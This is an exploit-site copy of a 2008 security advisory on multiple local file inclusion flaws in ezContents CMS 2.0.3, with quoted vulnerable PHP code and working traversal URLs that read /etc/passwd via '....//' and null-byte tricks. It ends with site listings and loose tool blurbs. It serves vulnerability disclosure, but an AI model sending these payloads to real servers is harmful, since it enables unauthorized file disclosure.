Menu

Search for hundreds of thousands of exploits

"EZContents CMS 2.0.3 - Multiple Local File Inclusions"

Author

Exploit author

DSecRG

Platform

Exploit platform

php

Release date

Exploit published date

2008-08-25

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
Digital Security Research Group [DSecRG] Advisory       #DSECRG-08-038


Application:                    ezContents CMS
Versions Affected:              2.0.3
Application URL:                http://www.ezcontents.org/
Vendor URL:                     http://www.visualshapers.com/
Bug:                            Multiple Local File Include
Exploits:                       YES
Reported:                       05.08.2008
Second report:                  18.08.2008
Vendor Response:                NONE
Solution:                       NONE
Date of Public Advisory:        25.08.2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

ezContents CMS has Multiple Local File Include vulnerabilities. 



Details
*******

1. Local File Include vulnerability found in script /module.php

Vulnerable GET parameter "link".

First discovered by Zero_X [http://secunia.com/advisories/10604/].
Vendor fixed vulnerability in version 2.0.3 by adding verification for this parameter. 
However, attacker still can include local files.

Code [line 32-42, 141-145]
--------------------------
#################################################

$GLOBALS["rootdp"] = './';
require_once ($GLOBALS["rootdp"]."include/config.php");
require_once ($GLOBALS["rootdp"]."include/db.php");
require_once ($GLOBALS["rootdp"]."include/session.php");
include_once ($GLOBALS["rootdp"].$GLOBALS["modules_home"]."modfunctions.php");


if ((!isset($HTTP_GET_VARS["ezSID"])) && (isset($HTTP_POST_VARS["ezSID"]))) $HTTP_GET_VARS["ezSID"] = $HTTP_POST_VARS["ezSID"];
if ((!isset($HTTP_GET_VARS["link"])) && (isset($HTTP_POST_VARS["link"])))  $HTTP_GET_VARS["link"] = $HTTP_POST_VARS["link"];

$HTTP_GET_VARS["link"] = str_replace('../', '', $HTTP_GET_VARS["link"]);

...

if (isExternalLink ($HTTP_GET_VARS["link"])) {
        ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
} else {
        include($GLOBALS["rootdp"].$HTTP_GET_VARS["link"]);
}

#################################################

isExternalLink() function in script /include/functions.php checks for remote inclusion attempts.  

Code [line 768-779]
-------------------
#################################################

function isExternalLink ($linkref)
{
        if ( (substr($linkref,0,5) == 'http:')          || (substr($linkref,0,6) == 'https:')   ||
                 (substr($linkref,0,5) == 'file:')              || (substr($linkref,0,4) == 'ftp:')             ||
                 (substr($linkref,0,7) == 'gopher:')    || (substr($linkref,0,7) == 'mailto:')  ||
                 (substr($linkref,0,5) == 'news:')              || (substr($linkref,0,7) == 'telnet:')  ||
                 (substr($linkref,0,5) == 'wais:') ) {
                 return True;
        } else {
                 return False;
        }
} // isExternalLink

#################################################

Example:

http://[server]/[installdir]/module.php?link=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd


2. Local File Include vulnerabilities found in scripts

/modules/diary/showdiary.php
/modules/diary/showeventlist.php
/modules/gallery/showgallery.php
/modules/reviews/showreviews.php

Successful exploitation requires that "register_globals" is enabled.

Code [showdiary.php, line 32-45]
--------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

$GLOBALS["ModuleName"] = 'diary';

if (!isset($GLOBALS["gsLanguage"])) { Header("Location: ".$GLOBALS["rootdp"]."module.php?link=".$GLOBALS["modules_home"].$GLOBALS["ModuleRef"]."/showdiary.php"); }
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Script /modules/moduleSec.php checks for inclusion attempts.

Code
----
#################################################

function moduleExternalLink ($linkref)
{
        if ($linkref != '') {
                if ( (substr($linkref,0,5) == 'http:')          || (substr($linkref,0,6) == 'https:')   ||
                         (substr($linkref,0,5) == 'file:')              || (substr($linkref,0,4) == 'ftp:')             ||
                         (substr($linkref,0,7) == 'gopher:')    || (substr($linkref,0,7) == 'mailto:')  ||
                         (substr($linkref,0,5) == 'news:')              || (substr($linkref,0,7) == 'telnet:')  ||
                         (substr($linkref,0,5) == 'wais:') ) {
                         return True;
                } else {
                        return False;
                }
        } else {
                return False;
        }
} // moduleExternalLink


if (!(isset($GLOBALS["rootdp"]))) {
         ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
         DIE;
}
if ( (moduleExternalLink($GLOBALS["rootdp"])) || (moduleExternalLink($GLOBALS["modfiledir"])) ||
         (moduleExternalLink($GLOBALS["modules_home"])) || (moduleExternalLink($GLOBALS["admin_home"])) ||
         (moduleExternalLink($GLOBALS["language_home"])) ) {
         ECHO 'Remote Code Execution Patch Installed on this implementation of ezContents';
         DIE;
}

#################################################

Example:

http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiary.php?rootdp=DSecRG&gsLanguage=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00


3. Local File Include vulnerabilities found in scripts

/modules/diary/showdiarydetail.php
/modules/gallery/showgallerydetails.php
/modules/reviews/showreviewsdetails.php
/modules/news/shownewsdetails.php

Successful exploitation requires that "register_globals" is enabled.

Code [showdiarydetail.php, line 32-46]
--------------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

$GLOBALS["ModuleName"] = 'diary';

include_once ($GLOBALS["admin_home"]."compile.php");

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/showdiarydetail.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00


4. Local File Include vulnerabilities found in scripts

/modules/diary/submit_diary.php
/modules/gallery/submit_gallery.php
/modules/guestbook/submit_guestbook.php
/modules/reviews/submit_reviews.php
/modules/news/submit_news.php

Successful exploitation requires that "register_globals" is enabled.

Code [submit_diary.php, line 32-51]
-----------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

// Localisation variables (used for default values)
// Change these to suit your site preferences
//
$expiryperiod = 'm';                    // Time period to calculate the banner expiry date (based on today's date)
$expirynumber = 1;


$GLOBALS["ModuleName"] = 'diary';

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/diary/submit_diary.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00


5. Local File Include vulnerabilities found in scripts

/modules/news/archivednews_summary.php
/modules/news/news_summary.php

Successful exploitation requires that "register_globals" is enabled.

Code [news_summary.php, line 32-41]
-----------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

include_once ($GLOBALS["admin_home"]."compile.php");

#################################################

Example:

http://[server]/[installdir]/modules/news/news_summary.php?rootdp=DSecRG&admin_home=../../../../../../../../../../../../../etc/passwd%00


6. Local File Include vulnerabilities found in scripts

/modules/diary/inlineeventlist.php
/modules/news/inlinenews.php

Successful exploitation requires that "register_globals" is enabled.

Code [inlinenews.php, line 32-52]
---------------------------------
#################################################

global $HTTP_SERVER_VARS;
if ( (substr($HTTP_SERVER_VARS["PHP_SELF"],-11) == 'control.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-10) == 'module.php') ||
         (substr($HTTP_SERVER_VARS["PHP_SELF"],-16) == 'showcontents.php') ) {
         require_once('./modules/moduleSec.php');
} else {
        require_once('../moduleSec.php');
}

global $EZ_SESSION_VARS;

$GLOBALS["ModuleName"] = 'news';

$linkref = $nLink;
$chainlink = explode('/',$linkref);
$modfilename = array_pop($chainlink);
$GLOBALS["modfiledir"] = implode('/',$chainlink);
include($GLOBALS["modfiledir"]."/moduleref.php");

include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_admin.php");
include_once ($GLOBALS["language_home"].$GLOBALS["gsLanguage"]."/lang_main.php");

#################################################

Example:

http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&nLink=../../../../../../../../../../../../../etc/passwd%00/
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&gsLanguage=../../../../../../../../../../../../../etc/passwd%00
http://[server]/[installdir]/modules/news/inlinenews.php?rootdp=DSecRG&language_home=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)

# milw0rm.com [2008-08-25]
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2009-08-18 "Adobe JRun 4 - 'logfile' (Authenticated) Directory Traversal" remote windows DSecRG
2009-06-08 "SAP GUI 6.4 - ActiveX (Accept) Remote Buffer Overflow (PoC)" dos windows DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /applications/applications.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/resourceNode/jdbcResourceEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /webService/webServicesGeneral.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console '/configuration/auditModuleEdit.jsf?name' Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "Woodstock 4.2 404 - Error Page Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /sysnet/registration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /configuration/configuration.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /customMBeans/customMBeans.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-05-05 "GlassFish Enterprise Server 2.1 - Admin Console /resourceNode/resources.jsf URI Cross-Site Scripting" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - Cross-Site Request Forgery (Multiple Admin Function)" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/Server/Monitoring' Multiple Cross-Site Scripting Vulnerabilities" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.x - '/console/portal/' URI Cross-Site Scripting" remote multiple DSecRG
2009-04-16 "Apache Geronimo 2.1.3 - Multiple Directory Traversal Vulnerabilities" remote multiple DSecRG
2009-04-14 "ablespace 1.0 - Cross-Site Scripting / Blind SQL Injection" webapps php DSecRG
2009-04-10 "Chance-i DiViS DVR System Web-Server - Directory Traversal" remote windows DSecRG
2009-04-10 "Chance-i DiViS-Web DVR System - ActiveX Control Heap Overflow (PoC)" dos windows DSecRG
2009-03-31 "PrecisionID Datamatrix - ActiveX Arbitrary File Overwrite" remote windows DSecRG
2009-01-30 "Synactis All_IN_THE_BOX ActiveX 3.0 - Null Byte File Overwrite" remote windows DSecRG
2009-01-27 "Pixie CMS 1.0 - Multiple Local File Inclusions" webapps php DSecRG
2009-01-21 "AXIS 70U - Network Document Server Privilege Escalation / Cross-Site Scripting" remote hardware DSecRG
2008-12-08 "XOOPS 2.3.1 - Multiple Local File Inclusions" webapps php DSecRG
2008-11-18 "Pluck CMS 4.5.3 - 'g_pcltar_lib_dir' Local File Inclusion" webapps php DSecRG
2008-08-25 "Pluck CMS 4.5.2 - Multiple Local File Inclusions" webapps php DSecRG
2008-08-25 "EZContents CMS 2.0.3 - Multiple Local File Inclusions" webapps php DSecRG
2008-07-30 "MJGUEST 6.8 - 'Guestbook.js.php' Cross-Site Scripting" webapps php DSecRG
2008-07-29 "Minishowcase 09b136 - 'lang' Local File Inclusion" webapps php DSecRG
2008-07-28 "Dokeos E-Learning System 1.8.5 - Local File Inclusion" webapps php DSecRG
2008-07-28 "PixelPost 1.7.1 - 'language_full' Local File Inclusion" webapps php DSecRG
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.